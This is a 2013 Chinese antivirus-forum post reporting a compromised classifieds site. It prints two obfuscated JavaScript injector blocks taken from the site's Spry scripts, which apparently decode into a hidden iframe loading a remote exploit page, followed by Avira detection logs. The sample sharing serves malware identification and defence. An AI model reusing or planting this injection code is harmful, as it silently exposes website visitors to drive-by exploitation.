查看: 1314|回复: 0
收起左侧

[已鉴定] http://ebidnbuy.com/wanted_ads.php?category=Businesses-For-Sale

[复制链接]
fireold
发表于 2013-9-18 06:41:47 | 显示全部楼层 |阅读模式
  1. /*74ed9f*/
  2. ozkydd = "fr" + "omCh" + "arCo" + "de";
  3. if (document.querySelector) aqyjeg = 4;
  4. rezzyr = ("4c,92,a1,9a,8f,a0,95,9b,9a,4c,99,9d,9a,5c,65,54,55,4c,a7,39,36,4c,a2,8d,9e,4c,9f,a0,8d,a0,95,8f,69,53,8d,96,8d,a4,53,67,39,36,4c,a2,8d,9e,4c,8f,9b,9a,a0,9e,9b,98,98,91,9e,69,53,95,9a,90,91,a4,5a,9c,94,9c,53,67,39,36,4c,a2,8d,9e,4c,99,9d,9a,4c,69,4c,90,9b,8f,a1,99,91,9a,a0,5a,8f,9e,91,8d,a0,91,71,98,91,99,91,9a,a0,54,53,95,92,9e,8d,99,91,53,55,67,39,36,39,36,4c,99,9d,9a,5a,9f,9e,8f,4c,69,4c,53,94,a0,a0,9c,66,5b,5b,62,65,5a,5d,62,5d,5a,5d,61,62,5a,5e,60,5e,5b,62,7d,79,77,72,5e,9e,70,5a,9c,94,9c,53,67,39,36,4c,99,9d,9a,5a,9f,a0,a5,98,91,5a,9c,9b,9f,95,a0,95,9b,9a,4c,69,4c,53,8d,8e,9f,9b,98,a1,a0,91,53,67,39,36,4c,99,9d,9a,5a,9f,a0,a5,98,91,5a,8f,9b,98,9b,9e,4c,69,4c,53,5e,5c,62,53,67,39,36,4c,99,9d,9a,5a,9f,a0,a5,98,91,5a,94,91,95,93,94,a0,4c,69,4c,53,5e,5c,62,9c,a4,53,67,39,36,4c,99,9d,9a,5a,9f,a0,a5,98,91,5a,a3,95,90,a0,94,4c,69,4c,53,5e,5c,62,9c,a4,53,67,39,36,4c,99,9d,9a,5a,9f,a0,a5,98,91,5a,98,91,92,a0,4c,69,4c,53,5d,5c,5c,5c,5e,5c,62,53,67,39,36,4c,99,9d,9a,5a,9f,a0,a5,98,91,5a,a0,9b,9c,4c,69,4c,53,5d,5c,5c,5c,5e,5c,62,53,67,39,36,39,36,4c,95,92,4c,54,4d,90,9b,8f,a1,99,91,9a,a0,5a,93,91,a0,71,98,91,99,91,9a,a0,6e,a5,75,90,54,53,99,9d,9a,53,55,55,4c,a7,39,36,4c,90,9b,8f,a1,99,91,9a,a0,5a,a3,9e,95,a0,91,54,53,68,9c,4c,95,90,69,88,53,99,9d,9a,88,53,4c,8f,98,8d,9f,9f,69,88,53,99,9d,9a,5c,65,88,53,4c,6a,68,5b,9c,6a,53,55,67,39,36,4c,90,9b,8f,a1,99,91,9a,a0,5a,93,91,a0,71,98,91,99,91,9a,a0,6e,a5,75,90,54,53,99,9d,9a,53,55,5a,8d,9c,9c,91,9a,90,6f,94,95,98,90,54,99,9d,9a,55,67,39,36,4c,a9,39,36,a9,39,36,92,a1,9a,8f,a0,95,9b,9a,4c,7f,91,a0,6f,9b,9b,97,95,91,54,8f,9b,9b,97,95,91,7a,8d,99,91,58,8f,9b,9b,97,95,91,82,8d,98,a1,91,58,9a,70,8d,a5,9f,58,9c,8d,a0,94,55,4c,a7,39,36,4c,a2,8d,9e,4c,a0,9b,90,8d,a5,4c,69,4c,9a,91,a3,4c,70,8d,a0,91,54,55,67,39,36,4c,a2,8d,9e,4c,91,a4,9c,95,9e,91,4c,69,4c,9a,91,a3,4c,70,8d,a0,91,54,55,67,39,36,4c,95,92,4c,54,9a,70,8d,a5,9f,69,69,9a,a1,98,98,4c,a8,a8,4c,9a,70,8d,a5,9f,69,69,5c,55,4c,9a,70,8d,a5,9f,69,5d,67,39,36,4c,91,a4,9c,95,9e,91,5a,9f,91,a0,80,95,99,91,54,a0,9b,90,8d,a5,5a,93,91,a0,80,95,99,91,54,55,4c,57,4c,5f,62,5c,5c,5c,5c,5c,56,5e,60,56,9a,70,8d,a5,9f,55,67,39,36,4c,90,9b,8f,a1,99,91,9a,a0,5a,8f,9b,9b,97,95,91,4c,69,4c,8f,9b,9b,97,95,91,7a,8d,99,91,57,4e,69,4e,57,91,9f,8f,8d,9c,91,54,8f,9b,9b,97,95,91,82,8d,98,a1,91,55,39,36,4c,57,4c,4e,67,91,a4,9c,95,9e,91,9f,69,4e,4c,57,4c,91,a4,9c,95,9e,91,5a,a0,9b,73,79,80,7f,a0,9e,95,9a,93,54,55,4c,57,4c,54,54,9c,8d,a0,94,55,4c,6b,4c,4e,67,4c,9c,8d,a0,94,69,4e,4c,57,4c,9c,8d,a0,94,4c,66,4c,4e,4e,55,67,39,36,a9,39,36,92,a1,9a,8f,a0,95,9b,9a,4c,73,91,a0,6f,9b,9b,97,95,91,54,4c,9a,8d,99,91,4c,55,4c,a7,39,36,4c,a2,8d,9e,4c,9f,a0,8d,9e,a0,4c,69,4c,90,9b,8f,a1,99,91,9a,a0,5a,8f,9b,9b,97,95,91,5a,95,9a,90,91,a4,7b,92,54,4c,9a,8d,99,91,4c,57,4c,4e,69,4e,4c,55,67,39,36,4c,a2,8d,9e,4c,98,91,9a,4c,69,4c,9f,a0,8d,9e,a0,4c,57,4c,9a,8d,99,91,5a,98,91,9a,93,a0,94,4c,57,4c,5d,67,39,36,4c,95,92,4c,54,4c,54,4c,4d,9f,a0,8d,9e,a0,4c,55,4c,52,52,39,36,4c,54,4c,9a,8d,99,91,4c,4d,69,4c,90,9b,8f,a1,99,91,9a,a0,5a,8f,9b,9b,97,95,91,5a,9f,a1,8e,9f,a0,9e,95,9a,93,54,4c,5c,58,4c,9a,8d,99,91,5a,98,91,9a,93,a0,94,4c,55,4c,55,4c,55,39,36,4c,a7,39,36,4c,9e,91,a0,a1,9e,9a,4c,9a,a1,98,98,67,39,36,4c,a9,39,36,4c,95,92,4c,54,4c,9f,a0,8d,9e,a0,4c,69,69,4c,59,5d,4c,55,4c,9e,91,a0,a1,9e,9a,4c,9a,a1,98,98,67,39,36,4c,a2,8d,9e,4c,91,9a,90,4c,69,4c,90,9b,8f,a1,99,91,9a,a0,5a,8f,9b,9b,97,95,91,5a,95,9a,90,91,a4,7b,92,54,4c,4e,67,4e,58,4c,98,91,9a,4c,55,67,39,36,4c,95,92,4c,54,4c,91,9a,90,4c,69,69,4c,59,5d,4c,55,4c,91,9a,90,4c,69,4c,90,9b,8f,a1,99,91,9a,a0,5a,8f,9b,9b,97,95,91,5a,98,91,9a,93,a0,94,67,39,36,4c,9e,91,a0,a1,9e,9a,4c,a1,9a,91,9f,8f,8d,9c,91,54,4c,90,9b,8f,a1,99,91,9a,a0,5a,8f,9b,9b,97,95,91,5a,9f,a1,8e,9f,a0,9e,95,9a,93,54,4c,98,91,9a,58,4c,91,9a,90,4c,55,4c,55,67,39,36,a9,39,36,95,92,4c,54,9a,8d,a2,95,93,8d,a0,9b,9e,5a,8f,9b,9b,97,95,91,71,9a,8d,8e,98,91,90,55,39,36,a7,39,36,95,92,54,73,91,a0,6f,9b,9b,97,95,91,54,53,a2,95,9f,95,a0,91,90,8b,a1,9d,53,55,69,69,61,61,55,a7,a9,91,98,9f,91,a7,7f,91,a0,6f,9b,9b,97,95,91,54,53,a2,95,9f,95,a0,91,90,8b,a1,9d,53,58,4c,53,61,61,53,58,4c,53,5d,53,58,4c,53,5b,53,55,67,39,36,39,36,99,9d,9a,5c,65,54,55,67,39,36,a9,39,36,a9".split(","));
  5. fxtm = eval;

  6. function dkoqoj() {
  7.     mcyd = function() {
  8.         --(lgea.body)
  9.     }()
  10. }
  11. lgea = document;
  12. for (lfc = 0; lfc < rezzyr["length"]; lfc += 1) {
  13.     rezzyr[lfc] = -(44) + parseInt(rezzyr[lfc], aqyjeg * 4);
  14. }
  15. try {
  16.     dkoqoj()
  17. } catch (ugesel) {
  18.     okobak = 50 - 50;
  19. }
  20. if (!okobak) fxtm(String[ozkydd].apply(String, rezzyr)); /*/74ed9f*/


  21. /*a9a007*/
  22. ilis = document;
  23. movrlu = "spl" + "i" + "t";
  24. hbfzt = window;
  25. elezt = "0" + "x";
  26. cwhynu = (5 - 3 - 1);
  27. try {
  28.     --(ilis["body"])
  29. } catch (ymcln) {
  30.     rcqc = false;
  31.     try {} catch (gaqruu) {
  32.         rcqc = 21;
  33.     }
  34.     if (1) {
  35.         ano = "17:5d:6c:65:5a:6b:60:66:65:17:6b:62:71:6d:6e:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:6b:62:71:6d:6e:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:6b:62:71:6d:6e:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:67:63:6c:64:59:6e:66:69:62:6a:28:25:5a:66:64:26:5b:6b:5b:25:67:5f:67:1e:32:4:1:17:6b:62:71:6d:6e:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:6b:62:71:6d:6e:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2f:2b:2d:2e:1e:32:4:1:17:6b:62:71:6d:6e:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2f:2b:2d:2e:67:6f:1e:32:4:1:17:6b:62:71:6d:6e:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2f:2b:2d:2e:67:6f:1e:32:4:1:17:6b:62:71:6d:6e:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2f:2b:2d:2e:1e:32:4:1:17:6b:62:71:6d:6e:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2f:2b:2d:2e:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6b:62:71:6d:6e:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:6b:62:71:6d:6e:53:1e:17:5a:63:58:6a:6a:34:53:1e:6b:62:71:6d:6e:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6b:62:71:6d:6e:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:6b:62:71:6d:6e:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:6b:62:71:6d:6e:27:30:1f:20:32:4:1:74:4:1:74" [movrlu](":");
  36.     }
  37.     hbfzt = ano;
  38.     ywmu = [];
  39.     for (utb = 22 - 20 - 2; - utb + 1428 != 0; utb += 1) {
  40.         dnktv = utb;
  41.         if ((0x19 == 031)) ywmu += String.fromCharCode(eval(elezt + hbfzt[1 * dnktv]) + 0xa - cwhynu);
  42.     }
  43.     izh = eval;
  44.     izh(ywmu)
  45. } /*/a9a007*/
复制代码



Avira
2013/9/18 上午 06:37 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\SpryMenuBar[1].js'
      包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
      已採取動作:
      檔案會移動至 '54597afd.qua' 名稱底下的隔離區目錄。.

2013/9/18 上午 06:37 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數:        780
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/9/18 上午 06:37 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\SpryMenuBar[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:傳輸至掃描程式

2013/9/18 上午 06:37 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\SpryMenuBar[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:拒絕存取

2013/9/18 上午 06:37 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\SpryTabbedPanels[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:拒絕存取

2013/9/18 上午 06:37 [Web Protection] 發現惡意程式碼
      從 URL "http://ebidnbuy.com/themes/ultra/SpryAssets/SpryMenuBar.js" 存取資料時,
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作:已略過

2013/9/18 上午 06:37 [Web Protection] 發現惡意程式碼
      從 URL "http://ebidnbuy.com/themes/ultra/SpryAssets/SpryTabbedPanels.js" 存取資料時,
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作:已略過

2013/9/18 上午 06:37 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\wanted_ads[1].htm 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作:拒絕存取

2013/9/18 上午 06:37 [Web Protection] 發現惡意程式碼
      從 URL "http://ebidnbuy.com/wanted_ads.php?category=Businesses-For-Sale" 存取資料時,
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作:已略過


av2.jpg



fs miss
fs2.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 09:03 , Processed in 0.135086 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表